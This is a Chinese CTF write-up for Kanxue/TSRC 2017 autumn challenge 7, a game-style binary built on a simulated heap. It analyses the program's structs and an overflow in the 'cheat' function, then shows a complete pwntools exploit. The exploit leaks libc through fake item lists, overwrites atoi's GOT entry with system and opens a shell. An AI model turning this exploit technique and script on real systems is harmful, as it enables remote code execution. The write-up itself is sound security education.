-
-
[原创]看雪.TSRC 2017CTF秋季赛第七题WP
-
2017-11-6 22:21 2699
-
看雪.TSRC 2017CTF秋季赛第七题WP
此题是模拟堆的分配管理。漏洞点比较明显,利用上也不复杂,和堆漏洞的常见利用方法相似。
程序分析
程序先mmap
了一段大小为4096字节的内存,将开始地址、结束地址保存,具体见代码:
void *init_mem_400DE7() { char *v0; // rax void *result; // rax v0 = (char *)mapmem_400966(); memstart_6050C0 = (__int64)v0; memend_6050C8 = (__int64)(v0 + 0x1000); next_mem_addr_6050D0 = (__int64)v0; result = malloc(0x50uLL); first_chunk_6050D8 = (__int64)result; return result; }
然后进入程序主功能函数,是类似游戏角色管理的功能。有注册、登录、探图、捡装备、丢装备,除此之外,还有一个叫cheat
的一个功能,可以多次往一地址写内容。
再说游戏流程前,先说几个结构体。
账号信息 信息有用户名、密码、角色信息指针。
Account struc ; (sizeof=0x30, mappedto_6) 00000000 unknow dq ? 00000008 name db 16 dup(?) 00000018 password db 16 dup(?) 00000028 character dq ? ; offset 00000030 Account ends
角色信息 信息有角色名、健康值、体力值、背包剩余空间、位置、装备信息指针。
00000000 Character struc ; (sizeof=0x38, mappedto_7) 00000000 cname db 16 dup(?) 00000010 health dq ? 00000018 stamina dq ? 00000020 weight_remain dq ? 00000028 position dq ? 00000030 item dq ? ; offset 00000038 Character ends
装备信息 信息有装备序号、装备重量、拥有数目、指向下一件装备的指针、弹药量、威力值。
00000000 Item struc ; (sizeof=0x30, mappedto_8) 00000000 item_id dq ? 00000008 item_weight dq ? 00000010 num dq ? 00000018 next_item dq ? 00000020 bullet dq ? 00000028 power dq ? 00000030 Item ends
Note信息 这个是类似note的作弊功能。
Note struc ; (sizeof=0x30, mappedto_9) 00000000 name db 16 dup(?) 00000010 content db 32 dup(?) 00000030 Note ends
游戏流程是先注册账号及角色。
注册时分别创建Account
和Character
类型的结构体变量,存储账户和角色信息。
再登录进游戏主菜单进行操作。主菜单如下:
1.Show my status
2.View the items in the package
3.GO TO..
4.Explore here
5.cheat
0.exit
- Show my status
查看角色当前状态。显示角色名、健康值、体力值、背包使用率、位置信息 - View the items
查看背包里的装备信息,并可丢弃装备。丢弃时会进行链表的元素删除操作。 - GO TO..
传送至某地,实际在操作上,只是改写Character.position
。 - Explore here
探索功能,在实现上是通过随机数生成来模拟物品的随机掉落。一个装备就是一个Item
结构体变量,并链接成单向链表。增加装备的实现是:若背包中已有此装备,则此装备数目加1,否则新建一个Item
结构体变量,并插入到第二个位置。 - cheat
首次使用此功能时会创建一个Note
结构体变量,并写入Note.name
和Note.content
值。后面可以向Note.content
写入最多300字节的数据。 - exit
返回到登录
游戏角色的数据全部保存在模拟的堆空间中,一个结构体变量对应一个堆空间。题目提供自写的模拟堆分配功能,但无释放功能。
模拟堆的分配过程是:根据记录的未用空间开始地址,当前的分配大小,计算出下一次分配的开始地址,写16字节的header
信息并返回当前空间数据块的地址(header_addr+0x10),属于空间连续分配。
与此相关的是一个写模拟chunk地址的功能。此功能可以将申请到的模拟chunk的地址写到目标地址处。包括一些header
等操作,似乎还有些bins管理的意思,实际意义没怎么看明白,利用时注意点就OK。
以上代码看完,很容易就能发现cheat
功能存在溢出。本来Note
数据结构大小为48字节,Note.content
大小为32字节,除首次调用外都能写入不大于300字节的数据。
漏洞利用
总感觉此题利用方式不止一种,不过没有深究。
思路是,cheat
功能是唯一可以多次写数据的功能。如果能改写此功能的写入地址,那就能随意写数据。
在此之前,还需要泄露libc等信息。能泄露信息的地方:一是打印角色名时;二是打印装备信息时。后一种比较实际可靠。
由于模拟堆是连续空间分配的,所以先cheat
,申请Note
的变量空间,再explorer
,创建Item
的变量空间,而此空间是落在cheat
的可改写范围内的。可通过构造假的Item
链表,然后通过View the items
功能泄露出信息。为了程序不死,开始泄露的是rand
的地址,查Libc不确定,又泄露了其它的,程序会崩掉。
得到信息下一步就是改写got
表了。先看下一些全局变量的位置,上面的假链表构造也是利用了全局变量位置。
.bss:00000000006050C0 memstart_6050C0 dq ? .bss:00000000006050C0 .bss:00000000006050C8 memend_6050C8 dq ? .bss:00000000006050C8 .bss:00000000006050D0 next_mem_addr_6050D0 dq ? .bss:00000000006050D0 .bss:00000000006050D8 first_chunk_6050D8 dq ? .bss:00000000006050D8 .bss:00000000006050E0 qword_6050E0 dq ? .bss:00000000006050E0 .bss:00000000006050E8 ; Account *account_6050E8 .bss:00000000006050E8 account_6050E8 dq ? .bss:00000000006050E8 .bss:00000000006050F0 ; Note *cheat_content_6050F0 .bss:00000000006050F0 cheat_content_6050F0 dq ? .bss:00000000006050F0
改写的实现第一步,必须把需改写的地址值写入到6050F0
地址处。这样的改写也可以通过构造假链表实现。
ItemA->next_item = ItemB; ItemB->next_item = ItemC; //此时删除ItemB ItemA->next_item = ItemC
改写的目标选择atoi
的got
表。
最后附上我的exp,加上IDB文件(见附件)。
#!/usr/bin/env python # Author: poyoten @ Chamd5 from pwn import * import re context.arch = 'amd64' # libc = ELF('./libc.so.6') if len(sys.argv) < 2: p = process('./pwn') context.log_level = 'debug' else: p = remote(sys.argv[1], int(sys.argv[2])) def reg(name,passwd,character): p.recvuntil('Signup\n==============================\n') p.sendline('2') p.recvuntil('username\n') p.sendline(name) p.recvuntil('password\n') p.sendline(passwd) p.recvuntil('a name\n') p.sendline(character) def login(name,passwd): p.recvuntil('Signup\n==============================\n') p.sendline('1') p.recvuntil('username:\n') p.sendline(name) p.recvuntil('password:\n') p.sendline(passwd) def showstatus(): p.recvuntil('exit\n') p.sendline('1') return p.recv() def viewitem(idx): p.recvuntil('exit\n') p.sendline('2') s = p.recvuntil('Choice:\n') p.sendline(str(idx)) return s def deleteitem(): p.recvuntil('2.return\n') p.sendline('1') p.recvuntil('2.return\n') p.sendline('2') p.recvuntil('Choice:\n') p.sendline('10') def gotosw(idx): p.recvuntil('exit\n') p.sendline('3') p.recvuntil('Primorsk\n') p.sendline(str(idx)) def explorer(): while True: p.recvuntil('exit\n') p.sendline('4') s = p.recv(60) if s.find('nothing found') == -1: break p.recvuntil('pick up it?\n') p.sendline('y') def cheat(name,content,flag): p.recvuntil('exit\n') p.sendline('5') if not flag: p.recvuntil('content:\n') p.sendline(content) else: p.recvuntil('name:\n') p.sendline(name) p.recvuntil('content:\n') p.sendline(content) def exp(): itoa_plt = 0x605078 mem_addr = 0x6050D8 rand_off = 0x3af60 system_off = 0x45390 # rand_off = 0x3cfb0 # system_off = 0x46590 reg('/bin/sh','password','haha') login('/bin/sh','password',) cheat('A'*15,'content',True) gotosw(1) explorer() payload = p64(1)+p64(itoa_plt)+p64(1)+p64(1) payload += p64(1)+p64(0x40)+p64(1)+p64(1)+p64(1)+p64(mem_addr ) cheat('',payload,False) # gdb.attach(p,'b *0x403093') res = viewitem(10) account_addr = int(re.findall(r'No.2 error \* (\d+)\W',res)[0]) log.info('[*]:account addr:'+hex(account_addr)) rand_addr = int(re.findall(r'No.4 error \* (\d+)\W',res)[0]) log.info( '[*]:rand got:'+hex(rand_addr)) payload = p64(1)+p64(mem_addr+8)+p64(1)+p64(1) payload += p64(1)+p64(0x40)+p64(1)+p64(1)+p64(1)+p64(mem_addr ) cheat('',payload,False) viewitem(3) deleteitem() cheat('',p64(itoa_plt-0x10),False) system_addr = rand_addr-rand_off+system_off log.info('[*]system address:'+hex(system_addr)) cheat('',p64(system_addr),False) log.info('[*]get shell!!!') p.recvuntil('exit\n') p.sendline(p64(account_addr+8)) p.sendline('bash') p.interactive() if __name__ == '__main__': exp()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课